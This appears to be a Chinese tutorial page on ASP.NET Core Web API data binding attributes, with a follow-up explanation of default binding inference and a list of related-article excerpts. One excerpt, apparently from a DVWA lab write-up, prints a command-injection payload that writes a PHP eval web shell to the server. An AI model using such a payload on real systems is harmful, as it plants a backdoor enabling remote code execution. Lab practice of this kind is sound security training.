asp.net core Web Api中的数据绑定

Web API 中,数据绑定是指将来自客户端请求的数据(如请求体、查询字符串、路径参数等)绑定到控制器方法的参数上。ASP.NET Core Web API 使用了一些内建的机制来简化这个过程,自动将请求数据映射到方法参数,以便你可以直接使用这些数据进行处理。

1. 数据绑定的基本概念

Web API 中的数据绑定分为以下几种常见类型:

  • 路径参数:从 URL 路径中提取的数据。
  • 查询字符串参数:从 URL 查询字符串中提取的数据。
  • 请求体数据(Body):来自请求的 JSON、XML 或其他格式的数据,通常通过 POSTPUT 等方法发送。
  • 表单数据:通过 application/x-www-form-urlencoded 或 multipart/form-data 发送的数据。
  • 请求头:通常用于获取客户端发送的额外信息,如认证信息、Content-Type 等。

2. 数据绑定的方式

2.1 路径参数绑定(FromRoute)

路径参数是 URL 路径的一部分。ASP.NET Core 会自动将这些路径参数绑定到控制器方法的参数上。

示例:
[Route("api/products/{id}")]
public IActionResult GetProduct([FromRoute] int id)
{
    var product = _productService.GetProductById(id);
    if (product == null)
    {
        return NotFound();
    }
    return Ok(product);
}

在上面的代码中,{id} 是路径参数,它从 URL 中提取并绑定到方法的 id 参数。

路由示例:
  • 请求:GET api/products/5
  • id 的值将被自动绑定为 5
2.2 查询字符串参数绑定(FromQuery)

查询字符串通常是 URL 的一部分,形如 ?key=value。在 Web API 中,你可以使用 [FromQuery] 特性来绑定查询字符串参数。

示例:
[HttpGet]
public IActionResult GetProducts([FromQuery] string category, [FromQuery] int? page)
{
    var products = _productService.GetProductsByCategory(category, page);
    return Ok(products);
}
查询字符串示例:
  • 请求:GET api/products?category=electronics&page=2
  • category 的值将被绑定为 electronicspage 的值将被绑定为 2
2.3 请求体数据绑定(FromBody)

[FromBody] 特性用于绑定来自请求体的数据,通常用于 POSTPUT 请求。客户端将数据(通常是 JSON 格式)放入请求体中,Web API 会自动将其绑定到控制器方法的参数。

示例:
[HttpPost]
public IActionResult CreateProduct([FromBody] Product product)
{
    if (product == null)
    {
        return BadRequest("Invalid product data.");
    }

    _productService.AddProduct(product);
    return CreatedAtAction(nameof(GetProduct), new { id = product.Id }, product);
}
请求体示例:
  • 请求:POST api/products
  • 请求体:

{ "name": "Laptop", "price": 999.99 }

在上面的例子中,JSON 数据会被自动解析并绑定到 product 参数。

2.4 表单数据绑定(FromForm)

表单数据是通过 application/x-www-form-urlencodedmultipart/form-data 传递的,通常用于 POST 请求中的表单提交。可以使用 [FromForm] 特性来绑定表单数据。

示例:
[HttpPost]
public IActionResult CreateProduct([FromForm] string name, [FromForm] decimal price)
{
    var product = new Product { Name = name, Price = price };
    _productService.AddProduct(product);
    return CreatedAtAction(nameof(GetProduct), new { id = product.Id }, product);
}
表单数据示例:
  • 请求:POST api/products
  • 表单数据:
    • name=Laptop
    • price=999.99
2.5 请求头数据绑定(FromHeader)

请求头通常包含与请求相关的元数据,如授权信息、Content-Type 等。在 Web API 中,可以使用 [FromHeader] 特性来绑定请求头数据。

示例:
[HttpGet]
public IActionResult GetUser([FromHeader(Name = "Authorization")] string authHeader)
{
    if (string.IsNullOrEmpty(authHeader))
    {
        return Unauthorized();
    }
    
    // 解析认证信息
    var user = _userService.GetUserByAuthHeader(authHeader);
    return Ok(user);
}
请求头示例:
  • 请求头:Authorization: Bearer some-token-value
  • authHeader 的值将被绑定为 Bearer some-token-value

3. 数据绑定的其他特性

ASP.NET Core 提供了多个特性来帮助你处理不同类型的数据绑定。以下是一些常见的特性和用法:

3.1 [FromRoute]

用于绑定来自 URL 路径的数据。

[HttpGet("api/products/{id}")]
public IActionResult GetProduct([FromRoute] int id)
{
    return Ok(id);
}
3.2 [FromQuery]

用于绑定查询字符串的数据。

[HttpGet("api/products")]
public IActionResult GetProducts([FromQuery] string category)
{
    return Ok(category);
}
3.3 [FromBody]

用于绑定请求体中的数据,通常用于 POSTPUT 请求。

[HttpPost("api/products")]
public IActionResult CreateProduct([FromBody] Product product)
{
    return Ok(product);
}
3.4 [FromForm]

用于绑定表单数据。

[HttpPost("api/products")]
public IActionResult CreateProduct([FromForm] string name, [FromForm] decimal price)
{
    return Ok(new { name, price });
}
3.5 [FromHeader]

用于绑定请求头中的数据。

[HttpGet("api/user")]
public IActionResult GetUser([FromHeader(Name = "User-Agent")] string userAgent)
{
    return Ok(userAgent);
}

4. 复合数据绑定

在实际开发中,可能会有多个来源的数据同时传递给 API。ASP.NET Core 允许在一个方法中同时绑定来自不同地方的数据。

示例:
[HttpPut("api/products/{id}")]
public IActionResult UpdateProduct([FromRoute] int id, [FromBody] Product product, [FromQuery] bool isFeatured)
{
    var updatedProduct = _productService.UpdateProduct(id, product, isFeatured);
    return Ok(updatedProduct);
}
请求示例:
  • 请求路径:PUT api/products/5?isFeatured=true
  • 请求体:
    { "name": "Updated Laptop", "price": 1200.00 }

在这个例子中,id 从路径中获取,product 从请求体中获取,isFeatured 从查询字符串中获取。

5. 自动绑定与验证

ASP.NET Core 在绑定数据时,能够自动进行验证。如果使用模型类,可以结合数据注解来进行基本的验证,如必填、范围限制等。通常,模型验证是在控制器方法调用之前自动完成的。

示例:
public class Product
{
    public int Id { get; set; }
    
    [Required]
    public string Name { get; set; }
    
    [Range(0, 10000)]
    public decimal Price { get; set; }
}

[HttpPost]
public IActionResult CreateProduct([FromBody] Product product)
{
    if (!ModelState.IsValid)
    {
        return BadRequest(ModelState);
    }
    
    _productService.AddProduct(product);
    return CreatedAtAction(nameof(GetProduct), new { id = product.Id }, product);
}

6. 数据绑定的常见问题

  • 缺少数据绑定:如果客户端请求中的数据与方法参数不匹配,Web API 会返回 400 Bad Request 错误。例如,路径参数缺失或类型不匹配。
  • 复杂对象的绑定:对于复杂类型(如模型类),ASP.NET Core 会尝试将请求体中的 JSON 或表单数据转换为模型类对象。
  • 验证失败:如果数据绑定后,模型验证失败(如必填字段缺失、数据超出范围等),会返回 400 错误,并且错误信息会包含在响应中。

总结

在 Web API 中,数据绑定是一个非常重要的机制,它使得从请求中提取数据并将其绑定到控制器方法参数变得简单高效。ASP.NET Core 支持多种数据绑定方式,如路径参数、查询字符串、请求体、表单数据和请求头等,可以通过特性如 [FromRoute][FromQuery][FromBody] 等来指定如何绑定数据。通过正确使用这些特性,可以极大地提高 API 的开发效率和代码的

看完上面代码后,参数里的中括号关键字必须有吗,[FromQuery][FromBody]这种,其实不是必填的

在 ASP.NET Core 中,参数前面的中括号关键字(如 [FromQuery][FromBody] 等)是 可选的,但它们起到 明确指定数据来源 的作用。如果不使用这些关键字,框架会根据参数的类型和请求的上下文自动推测数据来源。然而,在某些情况下,明确指定数据来源是必要的,特别是在需要从多个不同来源绑定数据时。

1. 默认行为

如果你不指定 [FromQuery][FromBody] 等特性,ASP.NET Core 会尝试自动绑定参数:

  • 简单类型(如 intstring 等):默认会从查询字符串中绑定。
  • 复杂类型(如自定义模型类):默认会从请求体 (Request.Body) 绑定,假设它是通过 POSTPUT 或 PATCH 请求发送的。
示例:没有使用 [FromQuery] 和 [FromBody]
[HttpGet("api/products")]
public IActionResult GetProducts(string category)
{
    return Ok(category);
}

在这个例子中,category 参数会自动从查询字符串中提取:

  • 请求:GET api/products?category=electronics
  • category 参数会自动绑定为 electronics

2. 为什么需要特性([FromQuery][FromBody] 等)

  • 区分数据来源:当请求包含多个数据来源(例如查询字符串、请求体、路径参数等)时,特性可以帮助明确标识数据应该从哪里来。例如,使用 [FromBody] 来明确告诉框架从请求体中绑定数据,而 [FromQuery] 则明确告诉框架从查询字符串中绑定。

  • 复杂类型绑定:对于复杂类型(如类或数组),ASP.NET Core 默认会尝试从请求体中进行绑定。你可以使用 [FromBody] 来确保绑定过程是从请求体进行的。

示例:
[HttpPost]
public IActionResult CreateProduct([FromBody] Product product, [FromQuery] bool isFeatured)
{
    // product 从请求体中获取,isFeatured 从查询字符串中获取
    return Ok(new { product, isFeatured });
}

在这个例子中:

  • product 会从请求体中提取(假设请求体是 JSON)。
  • isFeatured 会从查询字符串中提取(例如:POST api/products?isFeatured=true)。

3. 自动推断与明确指定

自动推断
  • 简单类型:ASP.NET Core 自动推断简单类型参数的数据来源。比如 int id 会自动从路径参数或查询字符串中提取数据(取决于请求类型和参数位置)。
  • 复杂类型:如果请求是 POST 或 PUT,ASP.NET Core 会自动尝试将请求体中的数据映射到复杂类型的参数。
明确指定(使用特性)

如果你希望明确控制数据绑定的来源,或者避免框架错误地推断来源,可以使用特性来显式指定绑定方式:

  • [FromQuery]:从查询字符串获取数据。
  • [FromBody]:从请求体获取数据。
  • [FromRoute]:从路径参数获取数据。
  • [FromHeader]:从请求头获取数据。
  • [FromForm]:从表单数据获取数据。
示例:没有特性时的默认行为
[HttpPost("api/products")]
public IActionResult CreateProduct(Product product)
{
    // 默认从请求体中绑定数据
    return Ok(product);
}

在这个例子中,product 会默认从请求体中绑定数据。

4. 使用特性可以避免错误

如果没有明确指定特性,当请求参数来源不明确时,可能会发生绑定错误或不符合预期的行为。例如:

  • 如果方法有多个来源的数据,而框架无法准确推断参数的来源,可能会导致绑定失败或者错误。
  • 使用特性可以避免这个问题,确保数据从正确的地方绑定。

总结

  • 如果只有一个参数来源且框架能正确推断,那么你不必使用 [FromQuery][FromBody] 等特性,框架会自动处理。
  • 如果有多个数据来源(例如路径、查询字符串、请求体等),或者希望明确控制数据来源,使用这些特性(如 [FromQuery][FromBody])是必要的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/948145.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

设计心得——流程图和数据流图绘制

一、流程图和数据流图 在软件开发中,画流程图和数据流图可以说是几乎每个人都会遇到。 1、数据流(程)图 Data Flow Diagram,DFG。它可以称为数据流图或数据流程图。其主要用来描述系统中数据流程的一种图形工具,可以将…

SpringBoot框架开发中常用的注解

文章目录 接收HTTP请求。RestController全局异常处理器Component依赖注入LombokDataBuildersneakyThrowsRequiredArgsConstructor 读取yml文件配置类注解 接收HTTP请求。 RequestMapping 接收HTTP请求。具体一点是 GetMapping PostMapping PutMapping DeleteMapping 一共…

ELK日志平台搭建 (最新版)

一、安装 JDK 1. 下载 JDK 21 RPM 包 wget https://download.oracle.com/java/21/latest/jdk-21_linux-x64_bin.rpm2. 安装 JDK 21,使用 rpm 命令安装下载的 RPM 包: sudo rpm -ivh jdk-21_linux-x64_bin.rpm3. 配置环境变量 编辑 /etc/profile 文件以配置 JAVA_HO…

使用 Jupyter Notebook:安装与应用指南

文章目录 安装 Jupyter Notebook1. 准备环境2. 安装 Jupyter Notebook3. 启动 Jupyter Notebook4. 选择安装方式(可选) 二、Jupyter Notebook 的基本功能1. 单元格的类型与运行2. 可视化支持3. 内置魔法命令 三、Jupyter Notebook 的实际应用场景1. 数据…

AcWing-164.可达性统计(拓扑排序 + 位运算)

原题链接:164. 可达性统计 - AcWing题库 题目描述: 题目 输入格式 输出格式 数据范围 输入样例: 输出样例: 思路 AC代码: 题目描述: 题目 给定一张 𝑁 个点 𝑀 条边的有向无…

Windows安装了pnpm后无法在Vscode中使用

Windows安装了pnpm后无法在Vscode中使用 解决方法: 以管理员身份打开 PowerShell 并执行以下命令后输入Y回车即可。 Set-ExecutionPolicy RemoteSigned -Scope CurrentUser之后就可以正常使用了

python学opencv|读取图像(二十五)使用cv2.putText()绘制文字进阶-垂直镜像文字

【1】引言 前序学习进程找那个,已经掌握了使用pythonopencv绘制常规文字和倾斜文字的基本技巧。相关链接如下: python学opencv|读取图像(二十三)使用cv2.putText()绘制文字-CSDN博客 python学opencv|读取图像(二十四…

6.充放电相关实验(过压、欠压、过流、短路、过温、低温)演示

1.充放电演示 (1)一定要按照操作步骤来,先将电池板上的充放电开关一定要处于断开状态(字母O一边按下是断开,字母I一边按下是接通),然后夹上充电器的电源夹子到BMS控制板的PACK-、PACK+两端,然后给充电器插上电源(如果使用自己的充电器一定要注意不要大于21V),然后拨动…

解决HBuilderX报错:未安装内置终端插件,是否下载?或使用外部命令行打开。

版权声明 本文原创作者:谷哥的小弟作者博客地址:http://blog.csdn.net/lfdfhl 错误描述 在HBuilderX中执行npm run build总是提醒下载插件;图示如下: 但是,下载总是失败。运行项目时候依然弹出上述提醒。 解决方案 …

【小程序开发】- 小程序版本迭代指南(版本发布教程)

一,版本号 版本号是小程序版本的标识,通常由一系列数字组成,如 1.0.0、1.1.0 等。版本号的格式通常是 主版本号.次版本号.修订号 主版本号:当小程序有重大更新或不兼容的更改时,主版本号会增加。 次版本号&#xff1a…

基于微信小程序投票评选系统的设计与实现ssm+论文源码调试讲解

第4章 系统设计 4.1 系统设计的原则 在系统设计过程中,也需要遵循相应的设计原则,这些设计原则可以帮助设计者在短时间内设计出符合设计规范的设计方案。设计原则主要有可靠性,安全性,可定制化,可扩展性,可…

库伦值自动化功耗测试工具

1. 功能介绍 PlatformPower工具可以自动化测试不同场景的功耗电流,并可导出为excel文件便于测试结果分析查看。测试同时便于后续根据需求拓展其他自动化测试用例。 主要原理:基于文件节点 coulomb_count 实现,计算公式:电流&…

AWS re:Invent 的创新技术

本月早些时候,Amazon 于 12 月 1 日至 5 日在内华达州拉斯维加斯举行了为期 5 天的 re:Invent 大会。如果您从未参加过 re:Invent 会议,那么最能描述它的词是“巨大”——不仅从与会者人数(60,000 人)来看&…

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

lua库介绍:数据处理与操作工具库 - leo

leo库简介 leo 模块的创作初衷旨在简化数据处理的复杂流程&#xff0c;提高代码的可读性和执行效率&#xff0c;希望leo 模块都能为你提供一系列便捷的工具函数&#xff0c;涵盖因子编码、多维数组创建、数据框构建、列表管理以及管道操作等功能。 要使用 Leo 模块&#xff0c;…

第10章图10.1-10.5《分析模式》原图和UML图对比

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集

用Tkinter制作一个用于合并PDF文件的小程序

需要安装PyPDF2库&#xff0c;具体原代码如下&#xff1a; # -*- coding: utf-8 -*- """ Created on Sun Dec 29 14:44:20 2024author: YBK """import PyPDF2 import os import tkinter as tk import windndpdf_files [] def dragged_files(f…

K210识别技术简介与基础使用方法

目录 一、K210芯片概述 二、K210的硬件配置与开发环境 1. 硬件配置 2. 开发环境 三、K210的识别技术基础 1. 图像识别 2. 语音识别 四、K210识别技术的基础使用方法 1. 图像识别基础使用 2. 语音识别基础使用 五、K210识别技术的应用场景 六、总结与展望 一、K210芯…

Linux下实现磁盘挂载

一&#xff1a;查看磁盘挂载和分区情况 使用如下命令查看磁盘的挂载和分区情况 fdisk -l 如上可以看出/dev/sdb未进行挂载分区 二&#xff1a;磁盘分区 1:分区 fdisk /dev/sdb 根据上图中的红框内的信息进行操作 2&#xff1a;检查是否分区成功 fdisk -l 如上可以看到/d…

009:传统计算机视觉之边缘检测

本文为合集收录&#xff0c;欢迎查看合集/专栏链接进行全部合集的系统学习。 合集完整版请参考这里。 本节来看一个利用传统计算机视觉方法来实现图片边缘检测的方法。 什么是边缘检测&#xff1f; 边缘检测是通过一些算法来识别图像中物体之间或者物体与背景之间的边界&…